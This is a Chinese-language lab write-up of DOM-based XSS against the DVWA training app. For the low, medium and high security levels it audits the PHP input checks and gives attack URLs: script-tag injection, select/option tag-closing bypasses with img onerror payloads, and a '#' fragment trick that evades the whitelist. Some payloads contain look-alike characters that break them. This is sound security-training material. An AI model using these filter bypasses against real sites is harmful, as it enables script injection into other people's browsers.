DOM 型 XSS(DOM-Based Cross-Site Scripting)是跨站脚本攻击的一种特殊类型,与传统的存储型 XSS、反射型 XSS 不同,它完全发生在客户端(浏览器),服务端不会参与恶意代码的解析和返回,而是通过篡改浏览器的 DOM(文档对象模型)结构,执行注入的恶意脚本。
- DOM 的作用 :浏览器加载页面后,会将 HTML 解析为 DOM 树,JavaScript 通过操作 DOM 树(如
document.getElementById、location.href、document.write等)动态更新页面内容。 - 漏洞成因 :当 JavaScript未对用户可控的输入(如 URL 参数、表单值、Cookie)进行过滤 / 转义,直接将其插入到 DOM 树中时,攻击者可构造恶意输入,使浏览器执行注入的脚本。
- 核心特征 :
- 恶意代码不经过服务端,服务端返回的页面源码中无恶意内容;
- 攻击仅发生在客户端,抓包无法在请求 / 响应中看到恶意脚本(区别于反射型 / 存储型);
- 依赖客户端 JavaScript 对 DOM 的动态操作。
low
1、代码审计
<?php
没有保护措施,什么都行
# No protections, anything goes
?>
2、构造 URL,弹窗测试
http://192.168.3.42/dvwa/vulnerabilities/xss_d/?default=<script>alert('DOM XSS')</script>

medium
1、代码审计
<?php
// 检查两个条件:1. GET请求中是否存在名为'default'的参数;2. 该参数的值不为空(null)
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
// 将GET请求中'default'参数的值赋值给变量$default,用于后续校验
$default = $_GET['default'];
# 注释:禁止包含script标签的输入(服务端的基础XSS过滤)
// 使用stripos函数(不区分大小写)查找$default中是否包含"<script"字符串
// stripos返回匹配字符串的起始位置,若未找到则返回false
if (stripos ($default, "<script") !== false) {
// 若检测到包含"<script",则重定向到当前页面,且将default参数强制设为"English"
header ("location: ?default=English");
// 终止后续代码执行,防止恶意输入被传递到客户端
exit;
}
}
?>
禁止了script标签,当检测到<script>标签时,重定向到安全默认值
2、标签闭合绕过
http://192.168.3.42/dvwa/vulnerabilities/xss_d/?default=English</option></select><img src=x onerror=alert(1)>
或者
http://192.168.3.42/dvwa/vulnerabilities/xss_d/?default=English</option></select><img src=x onerror=alert("xss_dom")>



3、构造option与select双闭合
<select> 标签用于定义下拉菜单,其内部只能包含 <option> 或 <optgroup> 子标签,不能直接包含其他标签(如 <script> 或 <img>)。
浏览器解析时,会严格限定 <select> 标签内的合法子元素,非 <option>/<optgroup> 的标签会被视为无效内容,可能被浏览器自动修正或忽略。
http://192.168.3.42/dvwa/vulnerabilities/xss_d/?default=\>/option></select><img src=1 οnerrοr=alert('xss_dom')>


4、构造select单闭合
http://192.168.3.42/dvwa/vulnerabilities/xss_d/?default=\</select><img src=1 οnerrοr=alert('xss_dom')>


high
1、代码审计
<?php
// 检查两个条件:1. GET请求中是否存在名为'default'的参数;2. 该参数的值不为null(非空)
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# 注释:对允许的语言设置白名单(仅允许指定的几个合法值)
// 使用switch语句匹配GET请求中'default'参数的值
switch ($_GET['default']) {
// 定义合法值白名单:French、English、German、Spanish
case "French":
case "English":
case "German":
case "Spanish":
# ok:若参数值是上述合法值,执行break跳出switch,不做任何拦截
break;
// 若参数值不在白名单中(匹配default分支)
default:
// 重定向到当前页面,并强制将default参数设为English
header ("location: ?default=English");
// 终止后续代码执行,防止非法值传递到客户端
exit;
}
}
?>
采用了白名单校验 的方式限制default参数的合法值,是比 Medium 级别更严格的防护手段,从根源上缩小了用户可控输入的范围。
- 使用#符号来使URL传入内容被截断,URL栏的 # 号之后的内容并不会发送至服务器端
- 但是js语言中#号并不会被截断,会使得default传入的所有内容都会完整传入。
2、
http://192.168.3.42/dvwa/vulnerabilities/xss_d/?default=English#<script>alert("xss_dom")</script>
刷新一下

或者
http://192.168.3.42/dvwa/vulnerabilities/xss_d/?default=English #</select><img src=0 οnerrοr=alert('xss_dom')>

加入##符号来使URL传入内容被截断就行,low和medium的方法都可以尝试